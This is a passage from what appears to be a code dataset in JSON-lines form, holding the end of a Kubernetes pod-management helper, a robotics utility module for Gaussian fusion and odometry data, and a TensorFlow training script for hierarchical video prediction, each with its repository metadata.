name=pod_name)\n # old_pod.spec.containers[0].resources = {'requests': {'cpu': '200m'}}\n # # old_pod.spec.containers[0].resources.requests.cpu = \"250m\"\n # conn.patch_namespaced_pod(namespace=namespace, name=pod_name, body=old_pod)\n\n # @staticmethod\n # def redeploy_pod(pod_name: AnyStr, node_name: AnyStr, namespace: AnyStr): # 重部署pod使用\n # conn = K8sApi.k8s_conn()\n # old_pod = conn.read_namespaced_pod(namespace=namespace, name=pod_name)\n # selector = old_pod.metadata.labels\n # image_name = old_pod.spec.containers[0].image\n # conn.delete_namespaced_pod(namespace=namespace, name=pod_name)\n #\n # while True:\n # try:\n # conn.read_namespaced_pod(namespace=namespace, name=pod_name)\n # except client.exceptions.ApiException:\n # K8sApi.create_pod(pod_name=pod_name, selector=selector, node_name=node_name)\n # break\n\n\n# 以上都是示例代码，真正运行的时候得自己手写结构体\n\n\nif __name__ == '__main__':\n K8sApi.k8s_conn()\n # ===============测试代码使用空行================\n\n # selector_dict1 = K8sApi.create_service(name=\"lane-4test\", port=5123)\n # selector_dict2 = K8sApi.create_service(name=\"speed-4test\", port=5123)\n # selector_dict3 = K8sApi.create_service(name=\"accident-4test\", port=5123)\n\n # K8sApi.delete_pod(pod_name=\"lane-test\")\n # K8sApi.delete_pod(pod_name=\"accident-test\")\n # K8sApi.delete_pod(pod_name=\"speed-test\")\n\n # K8sApi.create_pod(pod_name=\"lane-test\", selector={'name': 'lane'},\n # node_name=\"k8s-node1\", image_name=\"nginx:latest\")\n # K8sApi.create_pod(pod_name=\"speed-test\", selector={'name': 'speed'},\n # node_name=\"k8s-node2\", image_name=\"nginx:latest\")\n # K8sApi.create_pod(pod_name=\"accident-test\", selector={'name': 'accident'},\n # node_name=\"k8s-node3\", image_name=\"nginx:latest\")\n # K8sApi.redeploy_pod(pod_name=\"speed-test\", node_name=\"k8s-node2\", namespace=\"default\")\n\n # ===============测试结束清空空行================\n", "repo_name": "kyx1999/kubecepops", "sub_path": "kubecepops/cluster/kubetools/kubecontrol.py", "file_name": "kubecontrol.py", "file_ext": "py", "file_size_in_byte": 9378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "kubernetes.config.kube_config.load_kube_config", "line_number": 13, "usage_type": "call"}, {"api_name": "kubernetes.config.kube_config", "line_number": 13, "usage_type": "attribute"}, {"api_name": "kubernetes.config", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 14, "usage_type": "call"}, {"api_name": "kubecepops.core.config.Config.kube_config", "line_number": 14, "usage_type": "attribute"}, {"api_name": "kubecepops.core.config.Config", "line_number": 14, "usage_type": "name"}, {"api_name": "kubernetes.client.CustomObjectsApi", "line_number": 15, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 15, "usage_type": "name"}, {"api_name": "kubernetes.client.CustomObjectsApi", "line_number": 12, "usage_type": "attribute"}, {"api_name": "kubernetes.client", "line_number": 12, "usage_type": "name"}, {"api_name": "kubernetes.config.kube_config.load_kube_config", "line_number": 21, "usage_type": "call"}, {"api_name": "kubernetes.config.kube_config", "line_number": 21, "usage_type": "attribute"}, {"api_name": "kubernetes.config", "line_number": 21, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 22, "usage_type": "call"}, {"api_name": "kubecepops.core.config.Config.kube_config", "line_number": 22, "usage_type": "attribute"}, {"api_name": "kubecepops.core.config.Config", "line_number": 22, "usage_type": "name"}, {"api_name": "kubernetes.client.CoreV1Api", "line_number": 23, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 23, "usage_type": "name"}, {"api_name": "kubernetes.client.CoreV1Api", "line_number": 19, "usage_type": "attribute"}, {"api_name": "kubernetes.client", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 27, "usage_type": "name"}, {"api_name": "kubernetes.stream.stream", "line_number": 28, "usage_type": "call"}, {"api_name": "kubernetes.stream", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 42, "usage_type": "name"}, {"api_name": "kubernetes.client.V1Pod", "line_number": 45, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 45, "usage_type": "name"}, {"api_name": "kubernetes.client.V1ObjectMeta", "line_number": 46, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 46, "usage_type": "name"}, {"api_name": "kubernetes.client.V1Container", "line_number": 47, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 47, "usage_type": "name"}, {"api_name": "kubecepops.core.config.Config.image_pull_policy", "line_number": 48, "usage_type": "attribute"}, {"api_name": "kubecepops.core.config.Config", "line_number": 48, "usage_type": "name"}, {"api_name": "kubernetes.client.V1PodSpec", "line_number": 58, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 58, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 65, "usage_type": "name"}, {"api_name": "kubernetes.client.V1ObjectMeta", "line_number": 69, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 69, "usage_type": "name"}, {"api_name": "kubernetes.client.V1ServiceSpec", "line_number": 71, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 71, "usage_type": "name"}, {"api_name": "kubernetes.client.V1ServicePort", "line_number": 77, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 77, "usage_type": "name"}, {"api_name": "kubernetes.client.V1Service", "line_number": 82, "usage_type": "call"}, {"api_name": "kubernetes.client", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 87, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 92, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 104, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 115, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 127, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 139, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 139, "usage_type": "name"}, {"api_name": "typing.AnyStr", "line_number": 152, "usage_type": "name"}, {"api_name": "kubernetes.watch.Watch", "line_number": 154, "usage_type": "call"}, {"api_name": "kubernetes.watch", "line_number": 154, "usage_type": "name"}]} +{"seq_id": "21115601639", "text": "from collections import namedtuple\nimport numpy as np\nimport math\nfrom numpy.linalg import inv as linv\n\nobservationTuple = namedtuple('observationTuple', ['height', 'bearing', 'beacon_id', 'command', 'dt', 'dist'])\n\ndef rotMat(theta):\n return np.array([[np.cos(theta), -np.sin(theta), 0.],\n [np.sin(theta), np.cos(theta), 0.],\n [ 0., 0., 1.]])\n\ndef mul_gaussians(g1, g2):\n v1inv = linv(g1[1])\n v2inv = linv(g2[1])\n\n var_out = linv(v1inv + v2inv)\n mu_out = var_out.dot(v1inv.dot(g1[0]) + v2inv.dot(g2[0]))\n return (mu_out, var_out)\n\ndef mul_gaussians_wrong(g1, g2):\n v1inv = linv(g1[1])\n v2inv = linv(g2[1])\n\n var_out = linv(v1inv + v2inv)\n mu_out = g1[0] + g1[1].dot(linv(g1[1] + g2[1])).dot(g2[0]-g1[0])\n return (mu_out, var_out)\n\ndef preprocess_data(filename):\n with open(filename, 'r') as f:\n data = f.read().split('\\n')[1:-1]\n data = [d.split(', ') for d in data]\n last_obs_idx = len(data)-1\n for i, d in reversed(list(zip(range(len(data)), data))):\n if d[0] != '-1000':\n last_obs_idx = i\n break\n def sanitize_data_point(d):\n d[0] = float(d[0]) if d[0] != '-1000' else None\n d[1] = float(d[1]) if d[1] != '-1000' else None\n d[2] = int(d[2]) if d[2] != '-1000' else None\n d[3] = int(d[3])\n d[4] = float(d[4])\n d[5] = float(d[5]) if d[5] != '-1000' else None\n\n if d[0] is not None and d[0] > 70.0:\n d[0] = None\n d[1] = None\n d[2] = None\n d[5] = None\n\n return d\n\n data = [sanitize_data_point(d) for d in data[:last_obs_idx+1]]\n data = [observationTuple(height=d[0], \n bearing=d[1], \n beacon_id=d[2], \n command=d[3], \n dt=d[4],\n dist=d[5]) for d in data]\n return data\n\ndef process_gt_data(filename):\n\twith open(filename, 'r') as f:\n\t\tdata = f.read().split('\\n')[1:-1]\n\t\tdata = [[float(i) for i in d.split(', ')] for d in data]\n\t\treturn np.array([[0., 0., 0.]] + data)\n\ndef compute_action_model(gt_data, cmds):\n\tgt_deltas_map = dict()\n\tfor i in range(40):\n\t\tgt_deltas_map[i] = []\n\tfor i, cmd in enumerate(cmds):\n\t\tdelta = rotMat(-gt_data[i,2]).dot(gt_data[i+1]-gt_data[i])\n\t\t_norm_angle = lambda t: math.atan2(math.sin(t), math.cos(t))\n\t\tdelta[2] = _norm_angle(delta[2])\n\t\tdelta = delta*30.\n\t\tgt_deltas_map[cmd].append(delta)\n\n\tgt_action_model = {'mean': np.zeros((40, 3)), 'cov': np.zeros((40, 3, 3))}\n\tfor i in range(40):\n\t\tgt_action_model['mean'][i] = np.mean(np.array(gt_deltas_map[i]), axis=0)\n\t\tgt_action_model['cov'][i] = np.cov(np.array(gt_deltas_map[i]), rowvar=False)\n\treturn gt_action_model\n\ndef print_params(u):\n print(\"=== Mean: {:8.3f}, {:8.3f}, {:8.3f}\".format(*u[0]))\n print(\"=== Covariance ===\")\n print(\"{:8.3f}, {:8.3f}, {:8.3f}\".format(*u[1][0]))\n print(\"{:8.3f}, {:8.3f}, {:8.3f}\".format(*u[1][1]))\n print(\"{:8.3f}, {:8.3f}, {:8.3f}\".format(*u[1][2]))\n", "repo_name": "srama2512/cs393r-2d-asami", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 3133, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.namedtuple", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 75, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 75, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "33132391159", "text": "\"\"\"Simple script to train a simple predictive LSTM on moving MNIST.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport datetime\nimport os\nimport time\nimport sys\nimport pipes\n\nimport numpy as np\nimport tensorflow as tf\nfrom tqdm import tqdm\n\nimport params\nimport configs\nimport logger\nfrom architectures.graph_builder import GraphBuilder\nfrom specs.network_specs import HierarchicalNetworkSpec\nfrom data import data_handler\nfrom viz import viz_utils\nfrom viz.result_viz import log_sess_output\n\ntf.logging.set_verbosity(tf.logging.INFO)\nFLAGS = tf.flags.FLAGS\n\n\n\ndef run_step(sess,\n monitor_values,\n opt_steps,\n train_ops_gan,\n train_steps_gan,\n monitor_index,\n phase,\n feed_dict_elems,\n use_gan,\n metrics_only=False):\n \"\"\"Runs the steps appropriate for the given phase (train/val).\n\n Args:\n sess: The current session.\n monitor_values: A dict containing all Tensors whose values are monitored,\n but which do not control optimization.\n opt_steps: The non-GAN training ops to run.\n train_ops_gan: The GAN training ops to run.\n train_steps_gan: A namedtuple of GAN train steps.\n monitor_index: A nested dict allocating each Tensor to an optimization\n phase and specifying its type (loss, scalar, image, or hist).\n phase: The phase of training: 'train' or 'val'.\n feed_dict_elems: A dictionary of values to pass to a feed_dict.\n use_gan: If True, GAN alternating minimization run. Otherwise, all ops run\n together.\n metrics_only: If True, only loss and metric values will be reported.\n Otherwise, all values will be reported (including images, etc.). Defaults\n to False.\n Returns:\n run_output: A dictionary of evaluated values.\n Raises:\n ValueError: if phase is not 'train' or 'val'.\n \"\"\"\n if phase == \"train\":\n sess_dict = get_sess_dict(monitor_values,\n opt_steps,\n train_ops_gan,\n monitor_index,\n phase,\n metrics_only=metrics_only,\n use_gan=use_gan)\n elif phase == \"val\":\n sess_dict = get_sess_dict(monitor_values,\n None,\n None,\n monitor_index,\n phase,\n metrics_only=metrics_only,\n use_gan=use_gan)\n else:\n raise ValueError(\"Unknown phase. Must be 'train' or 'val'.\")\n\n if use_gan:\n # Run generator training steps.\n for _ in range(train_steps_gan.generator_train_steps):\n # Make sure this output is correct\n run_output = sess.run(\n sess_dict[\"generator\"],\n feed_dict=feed_dict_elems)\n \n # Run discriminator training steps.\n if train_steps_gan.discriminator_train_steps > 1:\n print(\"For > 1, need to modify sess_dict here. \"\n \"Should only be logging on the last discriminator step. \"\n \"Should hold for validation and training.\")\n\n for _ in range(train_steps_gan.discriminator_train_steps):\n run_output = sess.run(\n sess_dict[\"discriminator\"],\n feed_dict=feed_dict_elems)\n sess.run(sess_dict[\"global_step\"]) # Update the global step\n else:\n run_output = sess.run(sess_dict, feed_dict=feed_dict_elems)\n\n return run_output\n\n\ndef get_sess_dict(monitor_values,\n opt_steps,\n train_ops_gan,\n monitor_index,\n phase,\n metrics_only=True,\n use_gan=False):\n \"\"\"Returns the appropriate dictionary of Tensors to pass to a run call.\n\n Args:\n monitor_values: A dict containing all Tensors whose values are monitored,\n but which do not control optimization.\n opt_steps: A dict containing all non-GAN Tensors controlling optimization.\n train_ops_gan: A namedtuple with fields for GAN optimization.\n monitor_index: A nested dict allocating each Tensor to an optimization\n phase and specifying its type (loss, scalar, image, or hist).\n phase: The phase of training: 'train' or 'val'.\n metrics_only: If True, only monitor values corresponding to losses and\n metrics will be returned. If False, all values for this phase will be\n returned. Defaults to True.\n use_gan: If True, returns a nested sess_dict with values for generator and\n discriminator phases. Otherwise, returns a non-nested sess_dict for a\n single optimization step.\n Returns:\n sess_dict: The sess_dict for the current run call.\n \"\"\"\n sess_names = []\n\n for type_name, type_values in monitor_index[phase].items():\n if metrics_only:\n update_sess = (type_name == \"loss\") or \\\n (type_name == \"metric\") or \\\n (type_name == \"fetch_no_log\")\n else:\n update_sess = True\n\n if update_sess:\n sess_names.extend(type_values)\n\n sess_dict = dict((key_i, val_i) for key_i, val_i in monitor_values.items()\n if key_i in sess_names)\n\n if use_gan:\n # All non-training ops run with discriminator\n sess_dict = {\n \"generator\": {},\n \"discriminator\": sess_dict,\n \"global_step\": {},\n }\n\n if phase == \"train\":\n # Add training ops.\n # NB: for GAN, losses are already incorporated into gan train_ops,\n # so opt_steps can be ignored.\n if use_gan:\n sess_dict[\"generator\"][\"generator_train_op\"] = train_ops_gan.generator_train_op\n sess_dict[\"discriminator\"].update(train_ops_gan.discriminator_train_op)\n sess_dict[\"global_step\"][\"inc_global_step\"] = train_ops_gan.global_step_inc_op\n else:\n # Directly use the optimization stuff\n sess_dict.update(opt_steps)\n\n return sess_dict\n\n\ndef update_full_loss_vals(monitor_index,\n full_loss_vals=None,\n val_output=None,\n phase=\"val\"):\n \"\"\"Updates the accumulated values of tracked losses.\n\n Args:\n monitor_index: A nested dictionary of Tensors, sorted by type.\n full_loss_vals: A dictionary of current state of the tracked losses. If\n None, the dictionary is initialized with all values set to zero.\n Defaults to None.\n val_output: The current evaluated values of a sess.run call. If None,\n values are not updated. Defaults to None.\n \"\"\"\n tracking_fields = monitor_index[phase][\"loss\"] + monitor_index[phase][\"metric\"]\n\n if full_loss_vals is None:\n full_loss_vals = {}\n for tracking_field_i in tracking_fields:\n full_loss_vals[tracking_field_i] = 0\n\n if val_output is not None:\n for tracking_field_i in tracking_fields:\n full_loss_vals[tracking_field_i] += val_output[tracking_field_i]\n\n return full_loss_vals\n\n\ndef get_dummy_dataset_spec():\n _, data_spec_train, _, _ = configs.get_dataset_specs(\n FLAGS.dataset_config_name,\n FLAGS.train_batch_size,\n -1,\n -1,\n FLAGS.input_seq_len,\n FLAGS.pred_seq_len,\n None,\n None)\n return data_spec_train\n\n\ndef run_validation(dh, sess, monitor_values,\n train_steps_gan, monitor_index, feed_dict_elems, base_dir,\n np_logger, global_train_iteration, checkpoint_dir, decay_lr, is_hierarchical):\n full_loss_vals = update_full_loss_vals(monitor_index)\n n_val_batches = \\\n int(np.floor(dh.get_dataset_size(\"val\") / dh.get_fetched_batch_size(\"val\")))\n\n # turn off randomness in validation data to keep val sets comparable\n dh.maybe_turnoff_randomness()\n\n for val_batch_idx in tqdm(range(n_val_batches)):\n metrics_only = val_batch_idx != n_val_batches - 1\n # Only grab images and other non-metric values on the last batch. Grab losses and metrics always\n # For test always get the images because we're saving them\n val_output = run_step(\n sess=sess,\n monitor_values=monitor_values,\n opt_steps=None,\n train_ops_gan=None,\n train_steps_gan=train_steps_gan,\n monitor_index=monitor_index,\n phase=\"val\", # Never pass \"test\" here\n feed_dict_elems=feed_dict_elems,\n use_gan=False,\n metrics_only=metrics_only)\n\n # Store the inference samples for PCA\n if FLAGS.save_z_samples:\n viz_utils.store_latent_samples(val_output,\n base_dir,\n val_batch_idx,\n n_val_batches,\n global_train_iteration,\n store_angle_regressor=FLAGS.train_action_regressor,\n store_comp_latents=False)\n\n # Update loss vals for full epoch\n full_loss_vals = update_full_loss_vals(monitor_index,\n full_loss_vals=full_loss_vals,\n val_output=val_output)\n\n # turn randomness back on for data handlers to have random train batches\n dh.maybe_turnon_randomness()\n\n for loss_name_i in full_loss_vals:\n full_loss_vals[loss_name_i] /= n_val_batches\n val_output[loss_name_i] = full_loss_vals[loss_name_i]\n\n # if output seqs are repeated show results for at least two seqs\n if FLAGS.test_sequence_repeat > 0:\n n_seq_val_log = 30\n else:\n n_seq_val_log = 10\n\n # TODO(oleh) save all generated .avis\n log_sess_output(val_output,\n monitor_index,\n np_logger,\n global_train_iteration,\n dh.get_dataset_name(),\n checkpoint_dir,\n n_seqs=n_seq_val_log,\n phase=\"val\",\n build_seq_ims=True,\n repeat=FLAGS.test_sequence_repeat,\n is_hierarchical=is_hierarchical) # at test time this is handled differently\n\n tf.logging.info(\"Train iteration %d: Validation prediction loss %f\",\n global_train_iteration,\n val_output[\"total_loss_val\"])\n\n reduce_lr = decay_lr(\n global_train_iteration,\n plateau_criterion_loss=val_output[FLAGS.plateau_criterion_loss_name])\n return reduce_lr\n\n\ndef build_restore_saver():\n # create variable list for loading generator + enc/decoder\n load_prefixes = [\"generator/image_encoder\", \"generator/image_decoder\",\n \"generator/low_level_rnn\", \"generator/generator/low_level_rnn\"]\n load_vars = []\n for key in load_prefixes:\n load_vars += tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, key)\n\n # create saver to load vars\n restore_saver = tf.train.Saver(var_list=load_vars)\n return restore_saver\n\n\ndef load_pretrained_ll(sess, restore_saver):\n assert FLAGS.load_ll_ckpt_dir, \"Need to specify path to pretrained weights for freezing low level net!\"\n # get checkpoint file\n ckpt_path = tf.train.latest_checkpoint(FLAGS.load_ll_ckpt_dir)\n # restore vars\n restore_saver.restore(sess, save_path=ckpt_path)\n\n\ndef train(base_dir):\n \"\"\"Run the training of the LSTM model.\"\"\"\n\n time_0 = time.time()\n logging_global_step = tf.train.get_or_create_global_step()\n network_spec = configs.get_network_specs(FLAGS.network_config_name)\n loss_spec = configs.get_loss_spec(FLAGS.loss_config_name)\n is_hierarchical = isinstance(network_spec, HierarchicalNetworkSpec)\n\n # load data\n dh = data_handler.VideoDataHandler(loss_spec)\n train_data_tensors, val_test_data_tensors = dh.fetch_data(is_hierarchical)\n\n # build model architecture\n gb = GraphBuilder(network_spec, loss_spec, dh, is_hierarchical)\n model_output_train = gb.build_model(train_data_tensors, \"train\")\n model_output_val_test = gb.build_model(val_test_data_tensors, \"val\")\n\n # setup losses\n monitor_values, monitor_index, opt_steps, train_ops_gan, train_steps_gan, \\\n learning_rate, decay_lr = gb.build_losses(model_output_train,\n model_output_val_test,\n train_data_tensors, val_test_data_tensors,\n logging_global_step)\n\n # prepare logging + load variables\n checkpoint_dir = base_dir\n summary_dir = os.path.join(base_dir, \"summaries\")\n if not os.path.exists(summary_dir):\n os.makedirs(summary_dir)\n variables_checkpoint=tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n saver = tf.train.Saver(var_list=variables_checkpoint,\n save_relative_paths=True)\n tf.add_to_collection(tf.GraphKeys.SAVERS, saver) # this will make the session call it\n if FLAGS.checkpoint_interval > 0:\n hooks = [\n tf.train.CheckpointSaverHook(\n checkpoint_dir=checkpoint_dir,\n save_steps=FLAGS.checkpoint_interval,\n saver=saver),\n ]\n else:\n hooks = None\n\n # restore variables\n if FLAGS.freeze_ll: # only restore partial vars from pretrain if no checkpoint exists\n if tf.train.latest_checkpoint(checkpoint_dir) is None:\n restore_dir = None\n restore_saver = build_restore_saver()\n else:\n restore_dir = checkpoint_dir\n else:\n restore_dir = checkpoint_dir # if all vars should be restored -> handled by MonitoredSession\n\n # start session\n sess_config = tf.ConfigProto()\n sess_config.gpu_options.allow_growth = True # avoid taking up more space than needed\n with tf.train.SingularMonitoredSession(\n hooks=hooks, checkpoint_dir=restore_dir, config=sess_config) as sess:\n if restore_dir is None:\n load_pretrained_ll(sess, restore_saver) # load part of vars\n start_iteration = sess.run(logging_global_step)\n reduce_lr = False\n np_logger = logger.Logger(summary_dir, dh.data_spec_train)\n\n reduce_tau = gb.reduce_tau\n feed_dict_elems = {\n learning_rate: FLAGS.learning_rate\n }\n\n # training loop\n for local_train_iteration in range(start_iteration, FLAGS.num_training_iterations):\n global_train_iteration = sess.run(logging_global_step)\n if global_train_iteration != local_train_iteration:\n raise ValueError(\"global_step must be updated exactly once per iteration!\")\n\n if time.time() - time_0 > 3600:\n # it takes ~25 seconds before the first iteration runs.\n # The overhead for restarting a job (save, load, warmup) should be around a minute\n print(\"Timeout after 1 hour!\")\n time_0 = time.time()\n #return # if we return, sess.close() gets called, which saves the checkpoint\n \n if global_train_iteration % FLAGS.validation_interval == 0 and global_train_iteration != 0 and FLAGS.validate:\n reduce_lr = run_validation(dh, sess, monitor_values,\n train_steps_gan, monitor_index, feed_dict_elems, base_dir,\n np_logger, global_train_iteration, checkpoint_dir, decay_lr, is_hierarchical)\n\n if reduce_lr:\n if FLAGS.reduce_learning_rate_multiplier != 1.0:\n raise ValueError(\"Learning rate decay is broken as the learning rate value\"\n \" isn't saved between training restarts.\")\n feed_dict_elems[learning_rate] *= FLAGS.reduce_learning_rate_multiplier\n tf.logging.info(\n \"Reducing the learning rate to %f.\",\n feed_dict_elems[learning_rate])\n reduce_lr = False\n\n # update dt softmax temp\n if global_train_iteration % FLAGS.tau_schedule_step == 0 and global_train_iteration != 0:\n sess.run(reduce_tau)\n\n # Run training ops\n report_all = (global_train_iteration % FLAGS.validation_interval == 0)\n report_losses = (global_train_iteration % FLAGS.report_interval == 0)\n\n if FLAGS.debug_main_loop:\n var_list = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)\n import pdb; pdb.set_trace()\n \n train_output = run_step(\n sess=sess,\n monitor_values=monitor_values,\n opt_steps=opt_steps,\n train_ops_gan=train_ops_gan,\n train_steps_gan=train_steps_gan,\n monitor_index=monitor_index,\n phase=\"train\",\n feed_dict_elems=feed_dict_elems,\n use_gan=False,\n metrics_only=(not report_all))\n\n \n if report_all or report_losses:\n log_sess_output(train_output,\n monitor_index,\n np_logger,\n global_train_iteration,\n dh.get_dataset_name(),\n checkpoint_dir,\n phase=\"train\",\n build_seq_ims=report_all,\n is_hierarchical=is_hierarchical)\n\n tf.logging.info(\"Train iteration: %d, total training loss: %f.,\"\n \" prediction: %f.\",\n global_train_iteration,\n train_output[\"total_loss\"],\n train_output[\"total_loss\"]) # HACK\n\n\ndef setup_base_dir():\n if FLAGS.create_new_subdir:\n timestamp = datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n base_dir = os.path.join(os.path.expanduser(FLAGS.base_dir), timestamp)\n else:\n base_dir = os.path.expanduser(FLAGS.base_dir)\n if not os.path.exists(base_dir):\n os.makedirs(base_dir)\n return base_dir\n\n\ndef save_git(base_dir):\n # save code revision\n print('Save git commit and diff to {}/git.txt'.format(base_dir))\n cmds = [\"echo `git rev-parse HEAD` >> {}\".format(\n os.path.join(base_dir, 'git.txt')),\n \"git diff >> {}\".format(\n os.path.join(base_dir, 'git.txt'))]\n print(cmds)\n os.system(\"\\n\".join(cmds))\n\n\ndef save_cmd(base_dir):\n train_cmd = 'python ' + ' '.join([sys.argv[0]] + [pipes.quote(s) for s in sys.argv[1:]])\n train_cmd += '\\n'\n print('\\n' + '*' * 80)\n print('Training command:\\n' + train_cmd)\n print('*' * 80 + '\\n')\n with open(os.path.join(base_dir, \"cmd.txt\"), \"a+\") as f:\n f.write(train_cmd)\n\n\ndef main(unused_argv):\n base_dir = setup_base_dir()\n params.dump_params(base_dir)\n save_git(base_dir)\n save_cmd(base_dir)\n train(base_dir=base_dir)\n\n\nif __name__ == \"__main__\":\n tf.app.run(main=main)\n", "repo_name": "zwbgood6/temporal-hierarchy", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 18078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "tensorflow.logging.set_verbosity", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tensorflow.flags", "line_number": 27, "usage_type": "attribute"}, {"api_name": "configs.get_dataset_specs", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 219, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 224, "usage_type": "call"}, {"api_name": "viz.viz_utils.store_latent_samples", "line_number": 242, "usage_type": "call"}, {"api_name": "viz.viz_utils", "line_number": 242, "usage_type": "name"}, {"api_name": "viz.result_viz.log_sess_output", "line_number": 269, "usage_type": "call"}, {"api_name": "tensorflow.logging.info", "line_number": 281, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 281, "usage_type": "attribute"}, {"api_name": "tensorflow.get_collection", "line_number": 297, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 297, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 300, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 300, "usage_type": "attribute"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 307, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 307, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 315, "usage_type": "call"}, {"api_name": "tensorflow.train.get_or_create_global_step", "line_number": 316, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 316, "usage_type": "attribute"}, {"api_name": "configs.get_network_specs", "line_number": 317, "usage_type": "call"}, {"api_name": "configs.get_loss_spec", "line_number": 318, "usage_type": "call"}, {"api_name": "specs.network_specs.HierarchicalNetworkSpec", "line_number": 319, "usage_type": "argument"}, {"api_name": "data.data_handler.VideoDataHandler", "line_number": 322, "usage_type": "call"}, {"api_name": "data.data_handler", "line_number": 322, "usage_type": "name"}, {"api_name": "architectures.graph_builder.GraphBuilder", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 339, "usage_type": "call"}, {"api_name": "os.path", "line_number": 339, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 340, "usage_type": "call"}, {"api_name": "os.path", "line_number": 340, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 341, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 342, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 342, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 343, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 343, "usage_type": "attribute"}, {"api_name": "tensorflow.add_to_collection", "line_number": 345, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 345, "usage_type": "attribute"}, {"api_name": "tensorflow.train.CheckpointSaverHook", "line_number": 348, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 348, "usage_type": "attribute"}, {"api_name": 